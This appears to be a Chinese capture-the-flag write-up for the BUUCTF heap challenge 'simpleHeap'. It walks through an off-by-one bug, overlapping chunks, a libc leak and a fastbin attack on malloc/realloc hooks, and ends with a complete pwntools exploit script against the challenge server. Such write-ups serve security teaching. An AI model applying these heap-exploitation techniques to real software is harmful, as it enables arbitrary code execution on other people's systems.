zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap

    附件

    步骤:

    1. 例行检查,64位,保护全开
      在这里插入图片描述
    2. 根据题目可知是一道堆,直接用64位ida打开
      在这里插入图片描述
      我修改了这些函数的名称,这样方便看程序
    3. add,我们可以申请一个0~111大小的堆块,note_list里存放的是chunk的指针,size_list里存放的是chunk的size
      在这里插入图片描述
      edit
      在这里插入图片描述
      edit_1,可以看到当i在出了第6行的if循环的时候,它的值是a2+1,这样导致存在off by one漏洞,应该将判断条件改写成>=10
      在这里插入图片描述
      show,根据传入的idx,去寻找对应的指针,输出对应的内容
      在这里插入图片描述
      delete,根据传入的idx,释放掉指针所指向的内存,并将指针置为0,size置0
      在这里插入图片描述
    4. 首先创建三个chuk,第一个的size为0x18(24),因为系统在分配内存时,chunk 的大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ的整数倍,会被转换满足大小的最小的 2 *SIZE_SZ 的倍数,64 位系统中,SIZE_SZ 是 8,而且处于使用状态中的chunk会复用下一个chunk的pre_size区域
    add(0x18,'a'*0x18)
    add(0x18,'b'*0x18)
    add(0x18,'c'*0x18)
    
    gdb.attach(r)
    

    在这里插入图片描述
    在这里插入图片描述

    1. 根据上面从IDA反编译出的函数的分析,edit函数存在off by one漏洞
      修改chunk0的时候,可以覆盖chunk1的size,这里我们将chunk1的size改为0x41,然后将其释放
    edit(0,'a'*0x18+p8(0x41))
    delete(1)
    

    可以看到chunk1的大小以及被我们修改了
    在这里插入图片描述
    我们再申请0x30大小的chunk,就可以使chunk1和chunk2有重叠的部分
    在这里插入图片描述
    我们可以通过修改chunk1的内容来修改chunk2的size字段为0x91

    这样系统再free的时候,将chunk2释放到unsorted bin(堆管理器的垃圾桶)里面,当unsorted bin里只有一个chunk时,该chunk的fd和bk指针均指向unsorted bin本身,而unsorted bin本身的地址与libc的基址之间的偏移是固定的,所以我们可以借此来泄露libc 基址。

    先修改一下chunk2的size

    edit(1,'e'*0x18+p64(0x91))
    

    在这里插入图片描述
    glibc在定位一个chunk的net_chunk时,是使用当前chunk_addr+当前chunk_size来实现的。chunk2的大小为0x20(包含chunk header),上图可以看到chunk2后的next_chunk的地址应该是0x40+0x90=0xd0,上图的0xd0地址处没有值,所以需要下处add来伪造chunk2的next chunk的pre_size域,可以通过释放的时候的检查。

    add(0x60,'f'*0x60)
    

    在这里插入图片描述
    先malloc chunk便于后面payload构造,这里先申请了chunk4,用上面的办法,通过修改chunk4来修改chunk5的的size为0x41

    add(0x18,"A"*0x10)  
    add(0x18,'a'*0x10)	
    edit(4,'b'*0x18+p8(0x41))
    

    在这里插入图片描述
    然后申请chunk6和chunk7,这里构造chunk6的内容,与上面是一样的目的,为了使通过释放chunk5时的安全检查。然后释放chunk5,再次申请chunk5,使chunk5与chunk6的部分内存空间重叠,因为后面chunk6会被释放,所以无法通过修改chunk6来修改chunk6的fd指针,所以需要通过修改chunk5来修改chunk6的fd指针。这里malloc chunk8是为了在释放chunk7的时候不与top chunk合并。

    add(0x60,'b'*0x10+p64(0x40)+p64(0x21))	#chunk 6
    add(0x60,'c'*0x10)	#chunk 7
    add(0x10,'c'*0x10)	#chunk 8 
    

    在这里插入图片描述

    delete(5)
    add(0x30,'a'*0x18)	#chunk 5
    

    在这里插入图片描述
    将chunk2释放,使其被放入unsorted bin,以此来泄露libc。这里因为chunk2的pre_size区域有00字段,导致在调用show函数的时候,puts函数会造成截断无法输出unsorted bin的地址,尝试使用edit函数来修改chunk2的pre_size区域,但是edit函数会将回车替换成00,所以我们这里先释放chunk1,然后再申请,add函数在输入内容的时候不会把回车修改为00字符。

    delete(2) 
    delete(1)
    add(0x30,'e'*0x20) #1
    show(1)
    
    libc_base=u64(r.recv(0x26)[0x20:].ljust(8,"x00"))-0x3c4b78
    log.success("libc_base:"+hex(libc_base))
    one_daget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
    one_daget=libc_base+one_daget_offset[1]
    

    libc_base的接收
    在这里插入图片描述

    先释放chunk7,再释放chunk6,使fast bin 链表结构为chunk6->fd=chunk7 ,修改chunk5来修改chunk6的fd指针为fake_chunk的指针。然后,先malloc 0x60得到chunk7,再次malloc 0x60,系统会认为chunk6–>fd指向的地址为空闲的chunk,便会将fake_chunk指向内存空间返还给我们,同时将payload写入

    delete(7)
    delete(6)       
    edit(5,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed))
    add(0x60,'B'*0x10)
    payload = p8(0)*11
    payload += p64(one_daget) 
    payload+= p64(libc_base+0x846C0+0xc)
    add(0x60,payload)
    

    该payload修改__realloc_hook地址处的内容为one gadget地址,
    我将libc里的one_gadget都试了一下,发现不对
    在这里插入图片描述
    去网上翻看了一下其他师傅的wp,发现他们修改了malloc_hook地址处的内容为ralloc函数的地址+0xc,来满足使用one_gadget的条件限制
    参考这个师傅的方法,malloc_hook与realloc_hook是相邻的,所以这里可以通过一次修改达到目的。
    realloc函数偏移为0x846c0,可以看到前面有很多push操作,通过修改realloc函数的起始地址+offset ,来减少或增加push的此时,来修正[rsp+0x30]为NUL,我们这里offset使用的为0xc,可以达到目的
    在这里插入图片描述
    完成上述的布局后只要去新建一个chunk就能触发漏洞利用

    调用malloc函数---->判断是否有malloc_hook,有则调用之---->我们这里malloc_hook设置的为realloc函数+offset,程序便到此处执行---->执行realloc函数时,会判断是否有realloc_hook,有则调用之---->我们这里realloc_hook设置的为one_gadget,所以便会转到one_gadget处执行。

    完整exp

    #coding=utf-8
    from pwn import *
    
    #r=process('./vn_pwn_simpleHeap')
    r=remote("node3.buuoj.cn",28763)
    
    #context.log_level='debug'
    
    libc=ELF("./libc-2.23-64.so")
    
    def add(size,content):
    	r.recvuntil("choice: ")
    	r.sendline(str(1))
    	r.recvuntil("size?")
    	r.sendline(str(size))
    	r.recvuntil("content:")
    	r.send(content)
    
    def edit(idx,content):
    	r.recvuntil("choice: ")
    	r.sendline(str(2))
    	r.recvuntil("idx?")
    	r.sendline(str(idx))
    	r.recvuntil("content:")
    	r.sendline(content)
    	r.recvuntil("Done!")
    
    def show(idx):
    	r.recvuntil("choice: ")
    	r.sendline(str(3))
    	r.recvuntil("idx?")
    	r.sendline(str(idx))
    
    def delete(idx):
    	r.recvuntil("choice: ")
    	r.sendline(str(4))
    	r.recvuntil("idx?")
    	r.sendline(str(idx))
    	r.recvuntil("Done!")
    
    add(0x18,'a'*0x18)
    add(0x18,'b'*0x18)
    add(0x18,'c'*0x18)
    
    edit(0,'a'*0x18+p8(0x41))
    delete(1)
    add(0x30,'d'*0x30)
    
    edit(1,'e'*0x18+p64(0x91))
    
    add(0x60,'f'*0x60)    
    
    add(0x18,"A"*0x10)  
    add(0x10,'a'*0x10)	
    edit(4,'b'*0x18+p8(0x41))
    	
    add(0x60,'b'*0x10+p64(0x40)+p64(0x21))	#6
    add(0x60,'c'*0x10)	#7
    add(0x10,'c'*0x10)	  #8
    delete(5)
    add(0x30,'a'*0x18)	#5
    
    delete(2) 
    delete(1)
    add(0x30,'e'*0x20) #1
    show(1)
    
    libc_base=u64(r.recv(38)[32:].ljust(8,"x00"))-0x3c4b78
    log.success("libc_base:"+hex(libc_base))
    one_daget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
    one_daget=libc_base+one_daget_offset[1]
    
    delete(7)
    delete(6)       #fast bin chunk6>chunk 
    edit(5,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed))
    add(0x60,'B'*0x10)#get idx7
    payload = p8(0)*11
    payload += p64(one_daget) #realloc_hook 写入one daget
    payload+= p64(libc_base+0x846C0+0xc)#malloc hook 写入
    add(0x60,payload)#get   idx8  malloc_hook chunk
    
    r.recvuntil("choice: ")
    r.sendline(str(1))
    r.recvuntil("size?")
    r.sendline(str(0x10))
    r.interactive()
    #gdb.attach(r)
    
    r.interactive()
    

    在这里插入图片描述

    参考wp:
    https://www.cnblogs.com/zhwer/p/14009340.html
    https://blog.csdn.net/qq_36495104/article/details/106236474
    http://www.pwn4fun.com/pwn/buuctf-pwn-writeup-part4.html#%5BV_N2020%E5%85%AC%E5%BC%80%E8%B5%9B%5D_Simple_Heap

  • 相关阅读:
    Hadoop入门进阶课程12--Flume介绍、安装与应用案例
    Hadoop入门进阶课程11--Sqoop介绍、安装与操作
    Hadoop入门进阶课程10--HBase介绍、安装与应用案例
    Hadoop入门进阶课程9--Mahout介绍、安装与应用案例
    Hadoop入门进阶课程8--Hive介绍和安装部署
    Hadoop入门进阶课程7--Pig介绍、安装与应用案例
    zookeeper启动失败,但是状态显示已启动的原因
    微信小程序企业给零钱打款 提示未配置api发起,请查看产品中心企业付款配置
    java利用反射交换两个对象中的字段相同的字段值
    centos上 小程序部署 nginx+https+ssL 提示错误:对应的服务器 TLS 为 TLS 1.0 ,小程序要求的 TLS 版本必须大于等于 1.2
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273623.html
Copyright © 2011-2022 走看看